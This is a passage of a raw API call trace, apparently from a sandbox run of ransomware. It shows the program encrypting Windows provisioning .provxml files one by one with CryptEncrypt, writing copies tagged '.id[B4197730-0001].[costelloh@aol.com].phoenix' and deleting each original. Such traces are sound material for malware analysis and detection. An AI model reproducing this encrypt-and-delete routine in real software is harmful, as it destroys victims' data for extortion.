	[0248.369] CryptDestroyKey (hKey=0x151440) returned 1
	[0248.369] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x142, lpOverlapped=0x0) returned 1
	[0248.369] CryptDestroyKey (hKey=0x151280) returned 1
	[0248.369] CloseHandle (hObject=0x2c8) returned 1
	[0248.369] CloseHandle (hObject=0x2c4) returned 1
	[0248.369] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\374__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\374__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0248.370] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0248.370] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\375__Connections_Cellular_MTC Saudi Arabia (Saudi Arabia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\375__connections_cellular_mtc saudi arabia (saudi arabia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0248.371] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=657) returned 1
	[0248.371] CloseHandle (hObject=0x2c4) returned 1
	[0248.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\375__Connections_Cellular_MTC Saudi Arabia (Saudi Arabia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\375__connections_cellular_mtc saudi arabia (saudi arabia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0248.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\375__Connections_Cellular_MTC Saudi Arabia (Saudi Arabia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\375__connections_cellular_mtc saudi arabia (saudi arabia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0248.371] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\375__Connections_Cellular_MTC Saudi Arabia (Saudi Arabia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\375__connections_cellular_mtc saudi arabia (saudi arabia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0248.371] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0248.371] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0248.371] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\375__Connections_Cellular_MTC Saudi Arabia (Saudi Arabia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\375__connections_cellular_mtc saudi arabia (saudi arabia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0248.372] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1514c0) returned 1
	[0248.372] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0248.372] ReadFile (in: hFile=0x2c4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x291, lpOverlapped=0x0) returned 1
	[0248.503] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2a0, dwBufLen=0x2a0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2a0) returned 1
	[0248.503] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2a0, lpOverlapped=0x0) returned 1
	[0248.504] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151100) returned 1
	[0248.504] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0248.504] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xd0, dwBufLen=0xd0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xd0) returned 1
	[0248.504] CryptDestroyKey (hKey=0x151100) returned 1
	[0248.504] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x182, lpOverlapped=0x0) returned 1
	[0248.504] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0248.504] CloseHandle (hObject=0x2c4) returned 1
	[0248.505] CloseHandle (hObject=0x2c8) returned 1
	[0248.505] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\375__Connections_Cellular_MTC Saudi Arabia (Saudi Arabia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\375__connections_cellular_mtc saudi arabia (saudi arabia)_i0$(__mvid)@wap.provxml")) returned 1
	[0248.506] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0248.506] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\376__Connections_Cellular_STC (Saudi Arabia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\376__connections_cellular_stc (saudi arabia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0248.507] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=651) returned 1
	[0248.507] CloseHandle (hObject=0x2c8) returned 1
	[0248.507] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\376__Connections_Cellular_STC (Saudi Arabia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\376__connections_cellular_stc (saudi arabia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0248.507] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\376__Connections_Cellular_STC (Saudi Arabia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\376__connections_cellular_stc (saudi arabia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0248.507] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\376__Connections_Cellular_STC (Saudi Arabia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\376__connections_cellular_stc (saudi arabia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0248.507] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0248.507] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0248.507] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\376__Connections_Cellular_STC (Saudi Arabia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\376__connections_cellular_stc (saudi arabia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0248.508] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1516c0) returned 1
	[0248.508] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0248.508] ReadFile (in: hFile=0x2c8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x28b, lpOverlapped=0x0) returned 1
	[0248.516] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290, dwBufLen=0x290 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290) returned 1
	[0248.516] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x290, lpOverlapped=0x0) returned 1
	[0248.517] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1513c0) returned 1
	[0248.517] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0248.517] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0248.517] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0248.517] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0248.517] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0248.517] CloseHandle (hObject=0x2c8) returned 1
	[0248.517] CloseHandle (hObject=0x2c4) returned 1
	[0248.518] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\376__Connections_Cellular_STC (Saudi Arabia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\376__connections_cellular_stc (saudi arabia)_i0$(__mvid)@wap.provxml")) returned 1
	[0248.519] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0248.519] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\377__Connections_Cellular_Mobilna telefonija Srbije RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\377__connections_cellular_mobilna telefonija srbije rs (serbia (republic of))_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0248.520] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=743) returned 1
	[0248.520] CloseHandle (hObject=0x2c4) returned 1
	[0248.520] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\377__Connections_Cellular_Mobilna telefonija Srbije RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\377__connections_cellular_mobilna telefonija srbije rs (serbia (republic of))_i0$(__mvid)@wap.provxml")) returned 0x20
	[0248.520] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\377__Connections_Cellular_Mobilna telefonija Srbije RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\377__connections_cellular_mobilna telefonija srbije rs (serbia (republic of))_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0248.520] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\377__Connections_Cellular_Mobilna telefonija Srbije RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\377__connections_cellular_mobilna telefonija srbije rs (serbia (republic of))_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0248.520] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0248.520] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0248.520] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\377__Connections_Cellular_Mobilna telefonija Srbije RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\377__connections_cellular_mobilna telefonija srbije rs (serbia (republic of))_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0248.521] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151700) returned 1
	[0248.521] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0248.521] ReadFile (in: hFile=0x2c4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2e7, lpOverlapped=0x0) returned 1
	[0248.635] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2f0, dwBufLen=0x2f0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2f0) returned 1
	[0248.635] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2f0, lpOverlapped=0x0) returned 1
	[0248.637] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151440) returned 1
	[0248.637] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0248.637] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xf0, dwBufLen=0xf0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xf0) returned 1
	[0248.637] CryptDestroyKey (hKey=0x151440) returned 1
	[0248.637] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1a2, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1a2, lpOverlapped=0x0) returned 1
	[0248.637] CryptDestroyKey (hKey=0x151700) returned 1
	[0248.637] CloseHandle (hObject=0x2c4) returned 1
	[0248.637] CloseHandle (hObject=0x2c8) returned 1
	[0248.637] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\377__Connections_Cellular_Mobilna telefonija Srbije RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\377__connections_cellular_mobilna telefonija srbije rs (serbia (republic of))_i0$(__mvid)@wap.provxml")) returned 1
	[0248.639] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0248.639] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\37__Connections_Cellular_BeST (Belarus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\37__connections_cellular_best (belarus)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0248.639] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=715) returned 1
	[0248.639] CloseHandle (hObject=0x2c8) returned 1
	[0248.639] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\37__Connections_Cellular_BeST (Belarus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\37__connections_cellular_best (belarus)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0248.640] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\37__Connections_Cellular_BeST (Belarus)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\37__connections_cellular_best (belarus)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0248.640] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\37__Connections_Cellular_BeST (Belarus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\37__connections_cellular_best (belarus)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0248.640] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0248.640] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0248.640] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\37__Connections_Cellular_BeST (Belarus)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\37__connections_cellular_best (belarus)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0248.641] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151500) returned 1
	[0248.641] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0248.641] ReadFile (in: hFile=0x2c8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2cb, lpOverlapped=0x0) returned 1
	[0248.697] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0248.697] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0248.698] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151680) returned 1
	[0248.698] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0248.698] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0248.698] CryptDestroyKey (hKey=0x151680) returned 1
	[0248.698] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0248.699] CryptDestroyKey (hKey=0x151500) returned 1
	[0248.699] CloseHandle (hObject=0x2c8) returned 1
	[0248.699] CloseHandle (hObject=0x2c4) returned 1
	[0248.699] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\37__Connections_Cellular_BeST (Belarus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\37__connections_cellular_best (belarus)_i0$(__mvid)@wap.provxml")) returned 1
	[0248.700] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0248.700] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\380__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\380__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0248.700] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=461) returned 1
	[0248.700] CloseHandle (hObject=0x2c4) returned 1
